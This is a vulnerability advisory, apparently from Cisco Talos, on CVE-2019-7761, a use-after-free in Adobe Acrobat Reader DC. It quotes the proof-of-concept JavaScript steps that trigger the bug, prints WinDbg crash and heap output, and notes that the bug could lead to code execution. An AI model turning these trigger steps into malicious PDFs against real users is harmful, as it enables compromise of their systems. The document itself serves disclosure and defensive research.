CVE-2019-7761
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.10.20069. This can lead to arbitrary code execution with careful memory manipulation. The victim would need to open the malicious file or access a malicious web page to trigger this vulnerability.
Adobe Acrobat Reader DC 2019.010.20069
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Adobe Acrobat Reader is the most popular and feature-rich PDF reader. It has a large user base and is usually a default PDF reader on systems. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and creates an additional attack surface.
A vulnerability exists in the way pages with interactive fields and optional content groups (OCGs) are handled. To trigger this specific vulnerability, a multi-page document is needed. The document open action in the supplied PoC does:
app.activeDocs[0].getField('txt').value = "EAEAEAEA";
this.pageNum = 1;
The above code will set the value of a text field and jump to second page. The open action of the second page executes the following code:
app.activeDocs[0].selectPageNthWord(0);
The line shown above selects the text on the first page and effectively switches focus to it, causing the second page close action to be executed:
this.getOCGs()[0].state = false;
Changing the state of one of the OCG layers causes an object to be freed before switching back to the first page where freed memory is reused, leading to memory corruption. With PageHeap enabled, we can observe the following crash (making sure to follow spawned child processes):
0:000> .childdbg 1
Processes created by the current process will be debugged
0:000> g
(11ac.1b90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=012fdfcc ebx=00000000 ecx=1d0dcfdc edx=05d40000 esi=1d0dcfc8 edi=1d0dcfdc
eip=6aa9128e esp=012fde28 ebp=012fde28 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
AcroRd32!AX_PDXlateToHostEx+0x303635:
6aa9128e 8b01 mov eax,dword ptr [ecx] ds:002b:1d0dcfdc=????????
1:009> k 5
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 012fde28 6a975f41 AcroRd32!AX_PDXlateToHostEx+0x303635
01 012fdefc 6a976a14 AcroRd32!AX_PDXlateToHostEx+0x1e82e8
02 012fdf10 69536435 AcroRd32!AX_PDXlateToHostEx+0x1e8dbb
03 012fe258 694f1c99 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x2f9f1
04 012fe2d0 694d6d06 EScript!mozilla::HashBytes+0x4249c
With PageHeap disabled, if we carefully place the breakpoint on the above instruction, and by breaking JavaScript execution before and after changing the state of OCG, we can actually observe freed memory being reused.
0:000> .childdbg 1
Processes created by the current process will be debugged
0:000> bp AcroRd32!AX_PDXlateToHostEx+0x303635
0:000> g
Breakpoint 15 hit
eax=00bedb58 ebx=00000000 ecx=07db0084 edx=00000001 esi=07db0070 edi=07db0084
eip=6c95128e esp=00bed9c8 ebp=00bed9c8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
AcroRd32!AX_PDXlateToHostEx+0x303635:
6c95128e 8b01 mov eax,dword ptr [ecx] ds:002b:07db0084=7ffffffe
*** WARNING: Unable to verify checksum for c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
1:009> dd ecx
07db0084 7ffffffe 80000001 80000001 7ffffffe
07db0094 00000000 00000000 00000003 00000000
07db00a4 00000000 bc8d8ea3 80000200 00000405
07db00b4 00000531 000005df 00000b5a 00000cfa
07db00c4 00000cfb 00000e9b 00001d81 00002cd1
07db00d4 00002e7b 00003153 000032b4 00003503
07db00e4 00000000 bc858eab 8c000300 0000021e
07db00f4 0000073f 000007bd 0000084e 00000dd6
1:009> !heap -p -a ecx
address 07db0084 found in
_HEAP @ 11d0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
07db0068 0008 0000 [00] 07db0070 00034 - (busy)
Breakpoint is hit for the first time after selecting the word on the first page (in open action of second page). We can see that data pointed to by ecx
is allocated. Continuing the execution after the OCG state change allows us to examine the same memory again:
1:009> g
ModLoad: 684e0000 6854f000 c:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\PDDom.api
(2090.fdc): Break instruction exception - code 80000003 (first chance)
eax=00c36000 ebx=00000000 ecx=77284640 edx=77284640 esi=77284640 edi=77284640
eip=7724c560 esp=048af8f8 ebp=048af924 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!DbgBreakPoint:
7724c560 cc int 3
1:009> dd 07db0070
07db0070 6d5a410c 07db0080 07db009a 00000001
07db0080 2f242424 746e6f43 736c6f72 69727453
07db0090 2f73676e 6568744f 00000072 00000000
07db00a0 00000000 00000000 bc8d8ea3 80000200
07db00b0 6d5a410c 07db00c0 07db00da 00000001
07db00c0 2f242424 746e6f43 736c6f72 69727453
07db00d0 2f73676e 6568744f 00000072 00000000
07db00e0 00000000 00000000 bc858eab 8c000300
1:009> !heap -p -a 07db0070
address 07db0070 found in
_HEAP @ 11d0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
07db0068 0008 0000 [00] 07db0070 00038 - (free)
Continuing execution hits the breakpoint again with the same pointer in ecx
, but now pointing to freed memory. This results in the following crash (this time without page heap):
(2630.508): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00003427 ebx=00000000 ecx=07db0084 edx=011d0000 esi=00000d37 edi=00000000
eip=6c530bf1 esp=00bedb14 ebp=00bedb20 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
AcroRd32!CTJPEGDecoderRelease+0x26ca1:
6c530bf1 8bbed4010000 mov edi,dword ptr [esi+1D4h] ds:002b:00000f0b=????????
1:009> k 10
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00bedb20 6c81d62d AcroRd32!CTJPEGDecoderRelease+0x26ca1
01 00bedb34 6c835f88 AcroRd32!AX_PDXlateToHostEx+0x1cf9d4
02 00bedc0c 6c836a14 AcroRd32!AX_PDXlateToHostEx+0x1e832f
03 00bedc20 695c6435 AcroRd32!AX_PDXlateToHostEx+0x1e8dbb
04 00bedf68 69581c99 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x2f9f1
05 00bedfe0 69566d06 EScript!mozilla::HashBytes+0x4249c
06 00bee054 6956175d EScript!mozilla::HashBytes+0x27509
07 00bee510 69560606 EScript!mozilla::HashBytes+0x21f60
08 00bee550 69560517 EScript!mozilla::HashBytes+0x20e09
09 00bee58c 69560460 EScript!mozilla::HashBytes+0x20d1a
0a 00bee5bc 69548ec3 EScript!mozilla::HashBytes+0x20c63
0b 00bee604 6958835f EScript!mozilla::HashBytes+0x96c6
0c 00bee680 6958809f EScript!mozilla::HashBytes+0x48b62
0d 00bee834 69587d1b EScript!mozilla::HashBytes+0x488a2
0e 00bee880 69586cea EScript!mozilla::HashBytes+0x4851e
0f 00bee918 695f813f EScript!mozilla::HashBytes+0x474ed
By precisely controlling memory allocations and content after the object is freed, but before it was reused (by executing additional JavaScript code in the second page close action), this could result in further memory corruption and ultimately lead to arbitrary code execution.
2019-02-11 - Vendor Disclosure
2019-05-14 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.